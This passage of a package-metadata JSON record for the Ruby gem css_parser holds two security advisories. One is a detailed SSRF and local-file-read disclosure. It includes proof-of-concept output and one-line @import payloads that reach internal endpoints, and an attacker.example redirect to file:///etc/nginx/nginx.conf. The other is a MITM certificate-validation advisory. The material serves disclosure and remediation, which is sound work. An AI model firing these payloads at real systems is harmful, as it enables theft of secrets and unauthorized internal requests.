`Location` header.\n\nThe user-facing entry points that reach this sink are:\n\n- [`Parser#load_uri!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L489-L516) — directly calls `read_remote_file` (line 513).\n- [`Parser#add_block!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L117-L162) — when invoked with `base_uri:` and the default `import: true`, scans the CSS for `@import url(...)` rules and resolves each one through `load_uri!` (line 150).\n\n## Threat model and scope\n\n| Capability | Reachable? | Notes |\n|---|---|---|\n| Arbitrary outbound `http://` / `https://` GET to any host:port reachable from the server | ✅ | No host, IP, port or scheme allowlist. Works against loopback, RFC‑1918, link‑local (169.254/16, AWS / GCP / Azure IMDS), and Docker / k8s service IPs. |\n| Recovering the response body | ✅ (conditional) | The body is fed back into `add_block!`. Any bytes that form `selector { decl }` round‑trip out via `Parser#each_selector` / `to_s`. A consumer that emits the parsed CSS (e.g. Premailer inlining into HTML) leaks the body to the original attacker. |\n| Local file read via cross-scheme redirect (`Location: file://...`) | ⚠️ partial | Redirect is followed without checking the new scheme; the recursive call services `file://` with `File.read`. The read itself executes against any path the Ruby process can open. **Content recovery via the parser API is constrained by CSS grammar** — see \"File-disclosure scope\" below. |\n| File-existence oracle | ✅ | With default `io_exceptions: true`, missing paths raise `CssParser::RemoteFileError` and existing paths return silently. An attacker can iterate `file://` targets to enumerate filesystem layout, usernames, installed software, etc. |\n| Side-effecting GETs against unprotected internal admin endpoints | ✅ | Even with a non‑CSS response, the request still fires. Internal services that act on GET (legacy admin panels, debug endpoints, cache busters, queue triggers) execute. |\n| Forced gzip / deflate decompression (DoS / decompression bomb) | ✅ | `Accept-Encoding: gzip` is hardcoded (line 650) and the body is decompressed with `Zlib::GzipReader` / `Zlib::Inflate` (lines 665-672). An attacker server can return a small gzipped payload that decompresses to multiple GB. |\n| HTTPS internal targets with self-signed / private CA certs | ⚠️ | `Net::HTTP#use_ssl = true` defaults to `VERIFY_PEER`, so internal HTTPS hosts with private certs will fail the SSL handshake. Plain HTTP, and HTTPS hosts whose certs chain to a CA trusted by the process, are fully exploitable. |\n| Smuggling other TCP protocols (Redis, Memcached, etc.) via the HTTP client | ⚠️ | `Net::HTTP` writes a real HTTP request line, so Redis / Memcached won't accept it. The TCP connect itself does occur, which can still trigger logs, port-scan effects, and connection-state side effects in firewalled environments. |\n\n### File-disclosure scope (cross-scheme redirect leg)\n\nThe `file://` branch of `read_remote_file` does an unconditional `File.read`, but the contents are then handed back to `add_block!` and fed through the CSS tokenizer ([`parse_block_into_rule_sets!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L342-L480)). Only content that fits the grammar at the lexer level survives:\n\n- **Selector slot** — any text accumulated before the next `{` becomes the selector for that rule (including text spanning multiple lines).\n- **Declarations slot** — only `prop: value;` pairs inside `{ ... }` are retained. The `Declarations` parser splits on `;`, requires `:`, and drops anything else ([rule_set.rb#L655-L681](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/rule_set.rb#L655-L681)).\n- A rule is only added when the *raw* declarations string between `{` and `}` is non-empty ([parser.rb#L396](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L396)).\n\nEmpirical results against vulnerable 2.2.0 with `Location: file://\u003cpath\u003e`:\n\n| File contents | Recoverable through `to_s` / `each_selector`? |\n|---|---|\n| `root:x:0:0:root:/root:/bin/bash\\napi_key=…` (no braces) | nothing |\n| `{\"AccessKeyId\":\"AKIA…\",\"Secret\":\"wJalr…\"}` (JSON, leading `{`) | nothing via `to_s`; partial leak via `each_rule_set` (empty selector + one parsed declaration) |\n| `SECRET=eyJhbGc… {}` (empty braces) | nothing (rule not added — raw decls empty) |\n| `api_key=…\\ndatabase{host:db.internal;pw:hunter2;}` | full leak: selector = `api_key=… database`, decls = `host: db.internal; pw: hunter2` |\n| nginx / HCL-style config: `name { key: value; }` | full leak of both slots |\n\nIn practice this means **high-value targets that aren't CSS-shaped — TLS keys, SSH keys, JWTs, `.env` files (`KEY=VALUE` lines), `/etc/passwd`, binary content — do not leak their bytes through the parser API**. Configuration files written in block-style DSLs (nginx, HCL/Terraform, Caddy, etc.) leak heavily. The `File.read` itself always executes, which is enough to (a) act as a file-existence oracle and (b) cause resource exhaustion on large pseudo-files like `/dev/zero`.\n\nThe **stronger** recovery channel is the SSRF leg, not file disclosure: when the response comes from an internal HTTP service, Premailer-style consumers serialize the parsed CSS back into rendered HTML/email output, and any CSS-shaped bytes in the response surface there.\n\n### Is it \"blind\"?\n\nIt is *not* a classic blind SSRF. The bug has two recovery channels:\n\n1. **Application output.** The library is most commonly driven by Premailer, which writes the parsed CSS back into the rendered HTML. Any response bytes that happen to form CSS rules are emitted into the output document and therefore visible to whoever receives the rendered output. Internal endpoints frequently return content that parses as CSS by accident — anywhere `{ ... }` appears (JSON objects sit just inside that envelope; many config-dump endpoints look the same) the contents become exfiltratable rules.\n2. **Side effects on the destination.** Because the request actually leaves the server, an attacker who controls the destination URL sees the request unconditionally (URL, headers, source IP, user-agent from `@options[:user_agent]`). And when the destination is an internal service the attacker does *not* control, the GET is nonetheless executed against that service.\n\n## Reproduction\n\nA minimal, self-contained reproducer is attached as [`poc.rb`](./poc.rb). It spins up two local WEBrick servers (a fake \"internal\" service on 127.0.0.1:18080 and an attacker-controlled redirector on 127.0.0.1:18081) and runs four scenarios against `css_parser` 2.2.0.\n\n```\n$ gem install css_parser -v 2.2.0\n$ gem install webrick     # not bundled with Ruby \u003e= 3.0\n$ ruby poc.rb\n```\n\n### Actual output\n\n```\n========================================================================\nPOC 1 — SSRF: force a GET to an internal-only HTTP endpoint and\n         recover the response body via the parser API\n========================================================================\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18080/admin-credentials\");\nInternal endpoint hit count: 1  (should be \u003e= 1)\nRules parsed from the internal response:\n  .creds { content: \"AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET\"; }\n\n========================================================================\nPOC 2 — Cross-scheme redirect: HTTP 302 → file:// → local file read\n========================================================================\nLocal secret file: /tmp/css_parser_nginx.conf\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18081/to-local-file\");\nRules parsed from the redirect target (a local file):\n  server { listen: 443; server_name: internal.example.com;\n           ssl_certificate_key: /etc/nginx/ssl/SECRET_PRIVATE_KEY.pem;\n           proxy_pass: http://10.0.0.42:8080; }\n\n========================================================================\nPOC 3 — Direct load_uri! also affected\n========================================================================\nparser.load_uri!('http://127.0.0.1:18080/admin-credentials')\n  .creds { content: \"AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET\"; }\n\n========================================================================\nPOC 4 — Pure SSRF side-effect (works even when the response is not CSS-shaped)\n========================================================================\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18080/admin/delete-user?id=42\");\nInternal side-effect endpoint reached? true\nRequest observed by internal service: \"/admin/delete-user?id=42\"\n```\n\n### Minimal one-line triggers\n\nThe smallest possible attacker payload is a single `@import` rule. The following three examples are ordered from \"highest practical impact\" to \"least\", because the parser's data-recovery surface depends on the shape of the response (see the \"File-disclosure scope\" table above):\n\n**1. Internal block-DSL config via cross-scheme redirect → file://** — nginx, HCL/Terraform, Caddy, BIND, etc. all use `name { key value; }` block syntax, which round-trips cleanly out of the css_parser API. An attacker who controls `attacker.example` redirects to the local file:\n\n```css\n/* attacker.css */\n@import url(\"https://attacker.example/r\");\n```\n\n```\nGET https://attacker.example/r\n→ 302 Location: file:///etc/nginx/nginx.conf\n```\n\nResult: the full `server { listen 443 ssl; ssl_certificate_key …; … }` block is parsed into selectors and declarations and surfaces via `parser.to_s`, which Premailer-style consumers re-emit into rendered output.\n\n**2. Side-effecting internal admin GET** — even when the response is not CSS-shaped, the request still executes against the internal service:\n\n```css\n@import url(\"http://internal-admin.local/api/v1/users/42?action=delete\");\n```\n\nNo data exfiltration is required for this to be a vulnerability: the attacker has achieved an authenticated-from-localhost GET against an internal control-plane endpoint.\n\n**3. Internal HTTP service whose body happens to be CSS-shaped** — a status / debug page or a config endpoint that emits `block { key: value; }` text. Same recovery profile as case (1).\n\n```css\n@import url(\"http://internal-svc.local/debug/config\");\n```\n\nAll three payloads are parsed via:\n\n```ruby\nrequire 'css_parser'\nparser = CssParser::Parser.new\nparser.add_block!(File.read('attacker.css'), base_uri: 'http://attacker.example/')\n```\n\n`base_uri:` is the only required option — it is what enables the `@import`-following code path ([parser.rb:147-150](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L147-L150)). Premailer always sets `base_uri:` when given an HTML document that has a URL, so every Premailer pipeline that processes attacker-influenced HTML/CSS reaches this sink.\n\n\u003e Note on the EC2 IMDS / `169.254.169.254` example often associated with SSRF write-ups: `@import url(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")` **does fire the request**, but the role-list response is plain text with no `{` characters and is therefore discarded by the CSS tokenizer — nothing surfaces via `parser.to_s` or `each_selector`. The per-role credentials JSON endpoint *partially* leaks the body as a single declaration value, but only via `each_rule_set` / `each_declaration`, which Premailer does not expose to its output. IMDSv2 is not exploitable at all (no `PUT` support, no header injection). The bug is still serious — just not via the IMDS path the way an XHR/curl-based SSRF would be.\n\n### Standalone `file://` via `load_uri!` (no HTTP redirect needed)\n\nIndependent of the SSRF / redirect chain above, `Parser#load_uri!` itself executes `File.read` against any `file://` URI it is handed, and `Parser#add_block!(css, base_uri: 'file:///some/dir/')` resolves `@import` against that base. Any application that hands an attacker-influenced URI (or an `@import` URL with an attacker-influenced base) to either method has a local file read primitive — no HTTP, no redirect, no `ssrf_filter`-bypass technique required.\n\n```ruby\nrequire 'css_parser'\nparser = CssParser::Parser.new\nparser.load_uri!('file:///etc/nginx/nginx.conf')  # direct File.read\n```\n\n…or via a CSS-driven path with an attacker-controlled `@import`:\n\n```ruby\nparser = CssParser::Parser.new\nparser.add_block!(File.read('attacker.css'), base_uri: 'file:///etc/')\n# attacker.css contains: @import url(\"nginx/nginx.conf\");\n```\n\nThe recoverable-content rules in the \"File-disclosure scope\" subsection above apply identically here — the bytes flow through the same `add_block!` tokenizer regardless of whether they arrived via redirect or directly. Applications that don't accept HTTP URLs from users but *do* construct `file://` URIs from any user-supplied component are exposed.\n\nThis is a separate weakness (`CWE-73`) from the SSRF leg (`CWE-918`) and is gated by its own opt-in flag in 3.0.0 (see \"Fix as shipped in 3.0.0\" below).\n\n## Suggested remediation\n\n1. **Reject non-`http(s)` schemes in `read_remote_file`.** Before the recursive redirect call at line 661 and at the top of `read_remote_file`, require `uri.scheme.in?(%w[http https])`. The `file://` branch at lines 635-639 should be removed from `read_remote_file` entirely — local files are already handled by `load_file!`, so keeping a `file://` branch in the *remote* read path serves no purpose other than enabling this redirect bypass.\n2. **Validate the resolved address against private / link-local / loopback ranges**, behind an opt-in option (e.g. `allow_local_uris: false`). At minimum, resolve `uri.host` and reject results in `127.0.0.0/8`, `10/8`, `172.16/12`, `192.168/16`, `169.254/16`, `::1`, `fc00::/7`, `fe80::/10`, and unspecified addresses. The check must be done *after* DNS resolution and re-checked on every redirect hop, otherwise DNS rebinding and CNAME redirection trivially bypass it.\n3. **Re-validate every redirect hop.** The recursive call at line 661 currently inherits no validation. Apply the same scheme / host / address checks as step 1-2 before recursing.\n4. **Bound the response size** read from `http.get` and decompressed at lines 665-672, to mitigate decompression bombs.\n5. **Document the security posture.** `load_uri!` / `add_block!` with `base_uri:` should be documented as security-sensitive, with a clear recommendation that any caller exposing them to untrusted CSS use the allowlist option above.\n\nMany of these issues could be generally remediated by replacing the network logic with the [ssrf_filter](https://github.com/arkadiyt/ssrf_filter) gem.\n\n## Fix as shipped in 3.0.0\n\nThe remediation lands as two structural changes plus two new independent opt-in flags. The structural changes apply unconditionally; the flags let callers re-enable specific subsets of the old behaviour where they have a legitimate need.\n\n### Structural changes (always on, no opt-out)\n\n- **Outbound HTTP goes through [`ssrf_filter`](https://github.com/arkadiyt/ssrf_filter) by default.** `ssrf_filter` resolves the hostname with `Resolv`, rejects unsafe IP ranges (loopback, RFC-1918, link-local, multicast, IPv6 ULAs, cloud metadata), enforces a `scheme_whitelist` of `%w[http https]`, and re-validates scheme and IP on every redirect hop. CNAME-to-private-IP and other DNS-rebinding-style bypasses are defeated by the resolved-IP check.\n- **`file://` is no longer reachable from the remote-fetch path at all.** The `file://` handling was moved out of `read_remote_file` entirely into `load_uri!`, so a 3xx `Location: file://...` response cannot be followed regardless of how the parser is configured.\n- **`Accept-Encoding: gzip` is no longer requested** by the remote-fetch path, removing the decompression-bomb surface that was called out as a separate mitigation item.\n\n### New `Parser` options\n\nTwo independent off-by-default flags, mapping 1:1 to the two CWE classes:\n\n| Option | Default | Gates | Threat class |\n|---|---|---|---|\n| `allow_local_network` | `false` | http(s) requests resolving to loopback / RFC-1918 / link-local / IMDS addresses | CWE-918 (SSRF) |\n| `allow_file_uris` | `false` | `file://` URIs via `load_uri!` (and `@import` resolved against `file://` base_uri) | CWE-73 (LFI) |\n\nEach flag is **independent**: setting `allow_local_network: true` does **not** permit `file://`, and `allow_file_uris: true` does **not** permit loopback HTTP. Callers grant exactly the threat surface they need open and nothing more.\n\n`load_file!` — the explicit local-file API that takes a path (not a URI) — is unaffected by either flag, because the path comes from the caller's own code, not from a user-influenced URI.\n\n### Upgrade notes\n\n- **Premailer / email-rendering / link-preview pipelines**: no code changes required. The default-secure 3.0.0 configuration is exactly what you want — the same `Parser.new` instantiation now refuses SSRF and LFI attempts.\n- **Test suites that fetch from `localhost` or a loopback fixture server**: pass `allow_local_network: true` on the relevant `Parser.new` calls.\n- **Code that deliberately calls `parser.load_uri!('file://...')` or sets `base_uri: 'file://...'`**: pass `allow_file_uris: true`. Where possible, prefer migrating to `parser.load_file!(path)` instead — it's the explicit local-file API and is not subject to the URI gate.\n- **Code that uses both** (e.g. integration tests against a local HTTP fixture *and* file:// fixtures): pass both, `Parser.new(allow_local_network: true, allow_file_uris: true)`.\n\nThe fix landed across these commits: `ba74c3c` (failing tests), `7d2ddf0` (implementation), `e0a1514` (defensive invariant guards), all merged.\n\n## Credit\n\nThis vulnerability was reported by @JLLeitschuh of the @braze-inc security team. This vulnerability was originally discovered by the pentesters at @nccgroup.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-09T13:43:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/premailer/css_parser/security/advisories/GHSA-9pmc-p236-855h","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/css_parser/CVE-2026-53727.yml","https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53727","https://github.com/advisories/GHSA-9pmc-p236-855h"],"source_kind":"github","identifiers":["GHSA-9pmc-p236-855h","CVE-2026-53727"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-09T14:00:09.079Z","updated_at":"2026-07-09T20:00:09.260Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0","packages":[{"ecosystem":"rubygems","package_name":"css_parser","versions":[{"first_patched_version":"3.0.0","vulnerable_version_range":"\u003c 3.0.0"}],"purl":"pkg:gem/css_parser"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq","url":"https://github.com/advisories/GHSA-ff6c-w6qf-7xqc","title":"CSS Parser: Improper Certificate Validation allows MITM injection of remote CSS content","description":"### Summary\n\nThe CSS Parser gem does not validate HTTPS connections, allowing a Man-in-the-Middle (MITM) attacker to inject or modify CSS content when stylesheets are loaded via HTTPS. The connection is established with `OpenSSL::SSL::VERIFY_NONE`, meaning any HTTPS certificate—even entirely untrusted—will be accepted without validation.\n\n### Details\n\nIn `lib/css_parser/parser.rb`, the HTTP client sets:\nhttps://github.com/premailer/css_parser/blob/3f91e8db7547fac50ab50cb7f9920f785f722740/lib/css_parser/parser.rb#L646\n\n```ruby\nhttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n```\n\nAs a result, the library does not validate the authenticity of HTTPS connections and does not protect against man-in-the-middle attacks. Any attacker in a position to intercept network traffic can inject or modify CSS loaded via HTTPS URLs without detection or warning.\n\n### PoC\n\n1. Set up a test Ruby project that uses the CSS Parser gem and loads an external stylesheet over HTTPS.\n2. Use a local proxy (such as mitmproxy or Burp Suite) to intercept outgoing HTTPS requests.\n3. Present a fake self-signed certificate to the client.\n4. Inject custom CSS into the intercepted HTTPS response.\n   \nThe request will succeed and the injected CSS will be delivered to the application, as the connection is not validated.\n\n### References\n \nhttps://github.com/premailer/css_parser/issues/185\n\n### Impact\n\nApplications using CSS Parser to load remote stylesheets over HTTPS are vulnerable to CSS injection and content manipulation, regardless of the trust status of the remote server. All users who use CSS Parser to fetch external CSS over HTTPS may be impacted.\n\n### Credit\n\nThis vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T02:06:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/premailer/css_parser/security/advisories/GHSA-ff6c-w6qf-7xqc","https://github.com/premailer/css_parser/issues/185","https://github.com/premailer/css_parser/commit/35e689c904225add78e0c488cf04bad052666449","https://github.com/premailer/css_parser/commit/e0c95d5abe91b237becb90ff316531a6547ada18","https://nvd.nist.gov/vuln/detail/CVE-2026-44312","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/css_parser/CVE-2026-44312.yml","https://github.com/advisories/GHSA-ff6c-w6qf-7xqc"],"source_kind":"github","identifiers":["GHSA-ff6c-w6qf-7xqc","CVE-2026-44312"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T03:00:08.861Z","updated_at":"2026-06-22T18:01:05.943Z","epss_percentage":0.00146,"epss_percentile":0.0418,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq","packages":[{"ecosystem":"rubygems","package_name":"css_parser","versions":[{"first_patched_version":"1.22.0","vulnerable_version_range":"\u003c 1.22.0"},{"first_patched_version":"2.1.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.0"}],"purl":"pkg:gem/css_parser"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/css_parser","docker_dependents_count":322,"docker_downloads_count":591371141,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/css_parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/css_parser/dependencies","status":null,"funding_links":[],"critical":true,"issue_metadata":{"last_synced_at":"2026-05-30T20:21:05.845Z","issues_count":43,"pull_requests_count":120,"avg_time_to_close_issue":24793859.64,"avg_time_to_close_pull_request":10644103.027777778,"issues_closed_count":25,"pull_requests_closed_count":108,"pull_request_authors_count":62,"issue_authors_count":37,"avg_comments_per_issue":2.6511627906976742,"avg_comments_per_pull_request":1.5916666666666668,"merged_pull_requests_count":93,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":3,"past_year_pull_requests_count":4,"past_year_avg_time_to_close_issue":4509.0,"past_year_avg_time_to_close_pull_request":243885.66666666666,"past_year_issues_closed_count":1,"past_year_pull_requests_closed_count":3,"past_year_pull_request_authors_count":4,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":4.333333333333333,"past_year_avg_comments_per_pull_request":1.25,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/issues","maintainers":[],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/css_parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/css_parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/css_parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/css_parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/css_parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/css_parser/codemeta","maintainers":[{"uuid":"599","login":"grosser","name":null,"email":null,"url":null,"packages_count":182,"html_url":"https://rubygems.org/profiles/grosser","role":null,"created_at":"2022-11-07T15:14:16.552Z","updated_at":"2022-11-07T15:14:16.552Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/grosser/packages"},{"uuid":"5928","login":"akzhan","name":null,"email":null,"url":null,"packages_count":13,"html_url":"https://rubygems.org/profiles/akzhan","role":null,"created_at":"2022-11-07T15:14:22.707Z","updated_at":"2022-11-07T15:14:22.707Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/akzhan/packages"},{"uuid":"2772","login":"primdahl","name":null,"email":null,"url":null,"packages_count":6,"html_url":"https://rubygems.org/profiles/primdahl","role":null,"created_at":"2022-11-07T15:14:19.847Z","updated_at":"2022-11-07T15:14:19.847Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/primdahl/packages"},{"uuid":"3051","login":"alexdunae","name":null,"email":null,"url":null,"packages_count":4,"html_url":"https://rubygems.org/profiles/alexdunae","role":null,"created_at":"2022-11-07T15:14:14.518Z","updated_at":"2022-11-07T15:14:14.518Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/alexdunae/packages"}],"registry":{"name":"rubygems.org","url":"https://rubygems.org","ecosystem":"rubygems","default":true,"packages_count":208944,"maintainers_count":69171,"namespaces_count":0,"keywords_count":18771,"github":"rubygems","metadata":{"funded_packages_count":7455},"icon_url":"https://github.com/rubygems.png","created_at":"2022-04-04T15:19:23.446Z","updated_at":"2026-06-10T05:04:00.514Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/namespaces"}},{"id":14513664,"name":"dev-ruby/css_parser","ecosystem":"gentoo","description":"A set of classes for parsing CSS in Ruby","homepage":"https://github.com/premailer/css_parser/","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["~amd64","~ppc","~x86"],"namespace":"dev-ruby","versions_count":1,"first_release_published_at":"2026-04-22T07:13:25.000Z","latest_release_published_at":"2026-04-22T07:13:25.000Z","latest_release_number":"1.21.1","last_synced_at":"2026-05-27T02:44:30.222Z","created_at":"2026-05-27T02:44:29.924Z","updated_at":"2026-05-27T02:44:30.775Z","registry_url":"https://packages.gentoo.org/packages/dev-ruby/css_parser","install_command":"emerge dev-ruby/css_parser","documentation_url":"https://packages.gentoo.org/packages/dev-ruby/css_parser","metadata":{"category":"dev-ruby","slot":"0","eapi":"8","inherit":"ruby-fakegem","iuse":"doc test test ruby_targets_ruby32 ruby_targets_ruby33 ruby_targets_ruby34 doc test"},"repo_metadata":{},"repo_metadata_updated_at":"2026-05-27T02:44:30.737Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:gentoo/dev-ruby/css_parser","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/gentoo/dev-ruby/css_parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/gentoo/dev-ruby/css_parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/gentoo/dev-ruby/css_parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-ruby%2Fcss_parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-ruby%2Fcss_parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-ruby%2Fcss_parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-ruby%2Fcss_parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-ruby%2Fcss_parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages/dev-ruby%2Fcss_parser/codemeta","maintainers":[],"registry":{"name":"gentoo-portage","url":"https://packages.gentoo.org/","ecosystem":"gentoo","default":true,"packages_count":19466,"maintainers_count":0,"namespaces_count":174,"keywords_count":716,"github":"gentoo","metadata":{"snapshot_url":"https://distfiles.gentoo.org/snapshots/portage-latest.tar.xz","funded_packages_count":135},"icon_url":"https://github.com/gentoo.png","created_at":"2026-05-26T08:59:24.155Z","updated_at":"2026-07-10T05:02:29.022Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gentoo-portage/namespaces"}},{"id":12208530,"name":"css_parser","ecosystem":"rubygems","description":"A set of classes for parsing CSS in Ruby.","homepage":"https://github.com/premailer/css_parser","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/premailer/css_parser","keywords_array":[],"namespace":null,"versions_count":65,"first_release_published_at":"2009-07-25T18:28:07.000Z","latest_release_published_at":"2026-06-01T23:44:10.966Z","latest_release_number":"3.0.0","last_synced_at":"2026-07-12T08:00:53.988Z","created_at":"2025-10-07T02:17:29.699Z","updated_at":"2026-07-12T08:00:53.988Z","registry_url":"https://gem.coop/gems/css_parser","install_command":"gem install css_parser -s https://gem.coop","documentation_url":"http://www.rubydoc.info/gems/css_parser/","metadata":{"funding":null},"repo_metadata":{"id":45434787,"uuid":"408234","full_name":"premailer/css_parser","owner":"premailer","description":"Ruby CSS Parser","archived":false,"fork":false,"pushed_at":"2026-06-01T23:43:52.000Z","size":719,"stargazers_count":299,"open_issues_count":24,"forks_count":113,"subscribers_count":9,"default_branch":"master","last_synced_at":"2026-06-20T20:03:27.456Z","etag":null,"topics":["css-parser","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/premailer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2009-12-08T17:22:24.000Z","updated_at":"2026-06-01T23:43:54.000Z","dependencies_parsed_at":"2026-03-04T23:00:45.229Z","dependency_job_id":"5d004eae-f722-497f-bafc-9a7b9fb502ad","html_url":"https://github.com/premailer/css_parser","commit_stats":{"total_commits":380,"total_committers":69,"mean_commits":5.507246376811594,"dds":0.781578947368421,"last_synced_commit":"54b8ea5d542297efd0690bd22e390cf7640ee7d3"},"previous_names":["alexdunae/css_parser"],"tags_count":62,"template":false,"template_full_name":null,"purl":"pkg:github/premailer/css_parser","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/premailer","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/sbom","scorecard":{"id":181202,"data":{"date":"2025-08-04","repo":{"name":"github.com/premailer/css_parser","commit":"2ef7dcaaf9ceaba6652d67a875e4df5e76d8950f"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.1,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not 